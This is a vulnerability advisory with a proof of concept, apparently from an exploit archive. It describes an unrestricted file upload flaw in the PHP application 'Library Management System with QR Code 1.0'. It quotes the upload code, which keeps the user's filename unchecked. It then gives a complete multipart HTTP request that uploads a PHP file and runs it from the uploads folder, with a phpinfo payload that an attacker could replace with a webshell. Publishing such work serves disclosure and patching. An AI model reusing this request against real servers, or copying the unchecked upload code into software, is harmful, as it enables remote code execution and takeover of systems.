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Library Management System With QR Code 1.0 Shell Upload Vulnerability
#### Title: Library Management System with QR code Attendance_File Upload RCE #### Author: Ashish Kumar ( https://www.linkedin.com/in/ashish-kumar-0b65a3184) #### Vendor: https://www.sourcecodester.com/users/kingbhob02 #### Software: https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html #### Version: 1.0 #### Reference: https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/File_Upload/POC.md #### Description: #### At the file upload function, the application system checks the validity of the file type, format, and content uploaded by the user, so that attackers can upload Webshell (.php, .jsp, asp, etc.) malicious script files or files in unexpected formats, such as: HTML files, SHTML files, etc., at the same time, you can use characters such as directory jump or control the upload directory to directly upload files to the Web directory or any directory, which may lead to the execution of arbitrary malicious script files on the remote server, thereby directly obtaining application system permissions. #### $uploaddir = 'assets/uploads/'; #### $uploadfile = $uploaddir . basename($_FILES['image']['name']); #### Payload used: `<?php phpinfo();?>` ### POC ``` POST /LMS/card/index.php HTTP/1.1 Host: localhost Content-Length: 1056 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryngJP5BxPA6UsA91O User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/LMS/card/index.php Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pco Connection: close ------WebKitFormBoundaryngJP5BxPA6UsA91O Content-Disposition: form-data; name="name" File_Upload ------WebKitFormBoundaryngJP5BxPA6UsA91O Content-Disposition: form-data; name="grade" Computer Studies ------WebKitFormBoundaryngJP5BxPA6UsA91O Content-Disposition: form-data; name="dob" Student ------WebKitFormBoundaryngJP5BxPA6UsA91O Content-Disposition: form-data; name="address" Testing Testing ------WebKitFormBoundaryngJP5BxPA6UsA91O Content-Disposition: form-data; name="email" ashish@cyberthoth.in ------WebKitFormBoundaryngJP5BxPA6UsA91O Content-Disposition: form-data; name="exp_date" 1990-02-11 ------WebKitFormBoundaryngJP5BxPA6UsA91O Content-Disposition: form-data; name="id_no" 8529637 ------WebKitFormBoundaryngJP5BxPA6UsA91O Content-Disposition: form-data; name="phone" 1212121212 ------WebKitFormBoundaryngJP5BxPA6UsA91O Content-Disposition: form-data; name="image"; filename="File_upload.php" Content-Type: application/octet-stream <?php phpinfo();?> ------WebKitFormBoundaryngJP5BxPA6UsA91O-- ``` #### Access below URL: `http://localhost/LMS/card/assets/uploads/File_upload.php` ![image]( https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/File_Upload/POC.png ) # 0day.today [2024-12-24] #